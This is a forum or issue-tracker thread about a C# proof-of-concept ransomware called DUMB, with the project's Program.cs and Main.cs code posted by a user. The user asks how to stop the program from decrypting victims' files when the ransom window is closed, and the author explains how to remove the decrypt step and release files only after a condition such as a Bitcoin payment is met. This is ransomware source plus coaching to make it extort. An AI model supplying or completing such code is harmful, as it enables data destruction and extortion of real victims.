DUMB question

[hayzamjs]

Hey, I really loved your project DUMB, I am a C# student and I had some questions, you had disabled the issues page for that project, can you answer my questions here? Thanks!

[AlphaDelta]

That'd be fine, what did you want to ask?

[hayzamjs]

Thanks for the reply, I am a total newbie to C#, awesome language btw 😄
I modified the code a bit just some minor changes here and there, But there is this function that I want to remove badly but I can't. The thing is that when the ransomware starts, it is amazing, it encrypts all the stuff in the folder. But when I close the form on force by exiting from the taskbar, it just exits and decrypts all the file in the test directory! I want to get rid of that.. I tried a lot in the past couple of days, but no luck! How can I fix this?

Here is my program.cs code,

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Text;
using System.Windows.Forms;

namespace DUMB
{
    static class Program
    {
        public static string folder = null;
        [STAThread]


        static void Main()
        {
            string docs = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            folder = docs + @"\TEST\";

            IntPtr hOldDesktop = WinAPI.GetThreadDesktop(WinAPI.GetCurrentThreadId());
            IntPtr hNewDesktop = WinAPI.CreateDesktop("DUMB",
            IntPtr.Zero, IntPtr.Zero, 0, (uint)WinAPI.DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);

            IntPtr hProc = IntPtr.Zero;
            try
            {
                //WinAPI.SwitchDesktop(hNewDesktop);
                bool workdone = false;
                BackgroundWorker bg = new BackgroundWorker();
                bg.DoWork += delegate
                {
                    //WinAPI.SetThreadDesktop(hNewDesktop);
                    try
                    {
                        Application.EnableVisualStyles();
                        Application.SetCompatibleTextRenderingDefault(false);
                        if (!File.Exists(folder + "crypted"))
                            Application.Run(new CryptWindow(false)); //Encrypt, you wouldn't actually do this in a ransomware, this is purely for the PoC
                        Application.Run(new Main()); //Ransom window
                                                     Application.Run(new CryptWindow(true)); //Decrypt
                    }

                    finally { workdone = true; }
                };



                bg.RunWorkerAsync();

                while (!workdone)
                    System.Threading.Thread.Sleep(100);
            }
            catch { }
            finally
            {
                WinAPI.SwitchDesktop(hOldDesktop);
                WinAPI.CloseDesktop(hNewDesktop);
            }
        }
    }
}

Here is my main.cs code :

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Text;
using System.Windows.Forms;

namespace DUMB
{
    public partial class Main : Form
    {
        public Main()
        {
            InitializeComponent();
        }

        private void Main_Load(object sender, EventArgs e)
        {
            this.Focus();
        }
        private void btnNext_Click(object sender, EventArgs e)
        {

            this.Close();

        }

        protected override void WndProc(ref Message message)
        {

            switch (message.Msg)
            {
                case WinAPI.WM_SYSCOMMAND:
                    int command = message.WParam.ToInt32() & 0xfff0;
                    if (command == WinAPI.SC_MOVE)
                        return;
                    break;
            }

            base.WndProc(ref message);
        }

        private void txtDidgeridoos_TextChanged(object sender, EventArgs e)
        {
            if (txtDidgeridoos.Text == "sorry")
            {
                btnNext.Enabled = true;
            }
        }
    }
}

Thanks for taking the time to answer, I will be presenting this to my class as an interesting project written in C# 😄

[AlphaDelta]

The problem lies within these lines:

if (!File.Exists(folder + "crypted"))
    Application.Run(new CryptWindow(false)); //Encrypt, you wouldn't actually do this in a ransomware, this is purely for the PoC
Application.Run(new Main()); //Ransom window
Application.Run(new CryptWindow(true)); //Decrypt

The flow of the program goes like this:
Encrypt (if the file crypted is not found), show main form, decrypt

There's no actual logic added to the flow to prevent the program from decrypting the files in the event a condition is not met, I did this primarily because it was a proof-of-concept and there was no real condition to be met for logic to be necessary to implement.

What you want to do is remove the line

Application.Run(new CryptWindow(true)); //Decrypt

and instead insert new CryptWindow(true).ShowDialog(); somewhere inside the main form when the condition you would like to be met is met, for example when your program checks if a user has set Bitcoins to an address and it succeeds.

[hayzamjs]

That works! Thanks for explaining it so awesomely! :D

[AlphaDelta]

No problem